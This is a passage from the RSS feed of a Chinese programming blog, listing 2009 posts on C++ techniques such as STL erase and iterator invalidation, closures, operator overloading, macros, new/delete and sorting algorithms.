      <description>&lt;h2 id=&#34;陷阱&#34;&gt;陷阱&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;STL&lt;/code&gt;中的容器都有&lt;code&gt;erase&lt;/code&gt;方法，容器的存储分为顺序存储(如&lt;code&gt;vector&lt;/code&gt;)与链式存储(如&lt;code&gt;list,map&lt;/code&gt;)。先以&lt;code&gt;map&lt;/code&gt;为例:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c++&#34; data-lang=&#34;c++&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;typedef&lt;/span&gt; std::map&amp;lt;std::string, std::string&amp;gt; TStrMap;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;typedef&lt;/span&gt; TStrMap::iterator TStrMapIter;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TStrMap strmap;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TStrMapIter iter = strmap.find(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;somekey&amp;#34;&lt;/span&gt;);  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;strmap.erase(iter);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这样使用&lt;code&gt;erase&lt;/code&gt;方法没有任何问题，删除一个单结节之后，&lt;code&gt;stl&lt;/code&gt;中的&lt;code&gt;iterator&lt;/code&gt;都是与其中的数据元素关联的，关联的元素删除之后，&lt;code&gt;ite&lt;/code&gt;r已就失效，&lt;code&gt;iter&lt;/code&gt;理解为指向元素的指针，那删除之后可以简单理解为已是一个野指针。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>c&#43;&#43;的仿函数与动态语言的闭包</title>
      <link>http://lanlingzi.cn/post/technical/csdn/cpp_closure_pkg/</link>
      <pubDate>Mon, 29 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/cpp_closure_pkg/</guid>
      <description>&lt;h2 id=&#34;闭包&#34;&gt;闭包&lt;/h2&gt;
&lt;p&gt;什么是闭包，我们先来用&lt;code&gt;ruby&lt;/code&gt;看个例子：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sum = 0  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.times{|n| sum += n}   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print sum
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;其中&lt;code&gt;{}&lt;/code&gt;就是闭包的内容，代码看起来是不是很清爽与简单。&lt;/p&gt;
&lt;p&gt;我们再来看看&lt;code&gt;Python&lt;/code&gt;写的闭包：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;def addx(x):      
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    return lambda y: x + y  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;add8 = addx(8)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print add8(100)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;用Python写就没有那么好看。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>c&#43;&#43;技巧之栈变量的析构应用</title>
      <link>http://lanlingzi.cn/post/technical/csdn/cpp_stack_usage/</link>
      <pubDate>Thu, 25 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/cpp_stack_usage/</guid>
      <description>&lt;h2 id=&#34;栈变量&#34;&gt;栈变量&lt;/h2&gt;
&lt;p&gt;栈变量有一个好处，就是它退栈时会自动析构，并且在栈上对象生成比在堆上分配效率高很多。但每个线程的栈空间是有限的(创建线程时可以设置)，所以一般的临时小对象都会在栈上分配。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>c&#43;&#43;技巧之operator操作符</title>
      <link>http://lanlingzi.cn/post/technical/csdn/cpp_operator/</link>
      <pubDate>Wed, 24 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/cpp_operator/</guid>
      <description>&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;
&lt;p&gt;这篇博文是以前很久写的，贴在我的早期一个blog中，今天google一下，发现还真有不少人转载，可惜并不注明出处。那时觉得&lt;code&gt;operator&lt;/code&gt;比较好玩。C++有时它的确是个耐玩的东东。&lt;code&gt;operator&lt;/code&gt;它有两种用法，一种是&lt;code&gt;operator overloading&lt;/code&gt;（操作符重载），一种是&lt;code&gt;operator casting&lt;/code&gt;（操作隐式转换）。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>c&#43;&#43;实现的queue</title>
      <link>http://lanlingzi.cn/post/technical/csdn/cpp_self_impl_queue/</link>
      <pubDate>Sat, 20 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/cpp_self_impl_queue/</guid>
      <description>&lt;p&gt;周末在家，自己用C++练一下手，用顺序存储与链表存储实现了队列queue。queue是一种先进先出的结构，有很多的应用，比如消息队列。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>c&#43;&#43;技巧之断言Assert</title>
      <link>http://lanlingzi.cn/post/technical/csdn/cpp_static_assert/</link>
      <pubDate>Sun, 14 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/cpp_static_assert/</guid>
      <description>&lt;p&gt;断言的应该是一种编程的常见技巧。我所应用的断言有两种，一种是动态断言，即大家所熟知的C标准库的assert()宏，一种是C++中的静态断言，即在编译期间检查。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>c&#43;&#43;技巧之宏Macro应用</title>
      <link>http://lanlingzi.cn/post/technical/csdn/cpp_macro_rule/</link>
      <pubDate>Fri, 12 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/cpp_macro_rule/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;宏不要用来定义常量，因为宏变量是没有类型安全，也没有名字空间约束，会造成名字的污染。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;宏的展开是一行，所以宏中的注释不能使用&lt;code&gt;//&lt;/code&gt;，只能使用&lt;code&gt;/* */&lt;/code&gt;。宏的代码也不能gdb跟踪，宏中代码逻辑要尽量简单。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;宏的参数一般情况下使用时要用()括起来，如:
&lt;code&gt;#define MAX(a, b) a /2 &amp;gt; b ? a /2  : b&lt;/code&gt;
MAX(3,4)使用没有问题，但MAX(3+4, 4)却有问题，因为宏的参数仅为符号替换。
应用定义为&lt;code&gt;#define MAX(a, b)  (a) / 2 &amp;gt;  (b) ?  (a) /2 : (b)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    
    <item>
      <title>c&#43;&#43;实现的stack</title>
      <link>http://lanlingzi.cn/post/technical/csdn/cpp_self_impl_stack/</link>
      <pubDate>Thu, 11 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/cpp_self_impl_stack/</guid>
      <description>&lt;p&gt;还是前一段时间需要任职资格考试，自己练习一下栈stack的简易实现，今天把它贴出来，暴露的接口与STL类似，没有实现iterator迭代器。实现有两种方式， 基于顺序存储与链式存储。栈的特点是“后进先出”，在数学表达式运算，编译语法分析中，程序函数调用时最为常见。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>用c&#43;&#43;模板来展示new与delete操作符原理</title>
      <link>http://lanlingzi.cn/post/technical/csdn/cpp_new_delete/</link>
      <pubDate>Mon, 08 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/cpp_new_delete/</guid>
      <description>&lt;p&gt;C++中的new与delete可以认为是C中的malloc与free的升级版本。new包含两部分:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一部分是与malloc功能相同，是从堆上面申请内存块&lt;/li&gt;
&lt;li&gt;第二部是调用类的构造方法来初始化刚申请的内存。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;delete是new的逆过程，先调用类的析构方法来反初始化，再把刚申请的内存还给堆。&lt;/p&gt;
&lt;p&gt;new []与delete []是针对数组操作符，要注意是通过new []分配的对象，不能用delete来释放对象，否则会有内存泄漏。当然通过new分配的对象，不能用delete[]来释放对象。后面我会通过代码来说明为什么。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>c&#43;&#43;常见的几个排序算法</title>
      <link>http://lanlingzi.cn/post/technical/csdn/cpp_aglos/</link>
      <pubDate>Sun, 07 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/cpp_aglos/</guid>
      <description>&lt;p&gt;前一段时间需要任职资格考试，于是又拿起丢了几年的数据结构书看了看，温习了一下常见的几个排序算法。今天特把我写的学习代码贴了出来。排序的算法常见有插入排序，选择排序与交换排序，较复杂一点还有归并排序与基数排序，概念性的东西我就不多说了，大家可以找一本严老师数据结构书看看。读大学时不觉得怎么样，现在再来看看，又结合这几年的编程经验，通过C++风格函数子造了一遍轮子。&lt;/p&gt;</description>
    </item>
    
  </channel>
</rss>
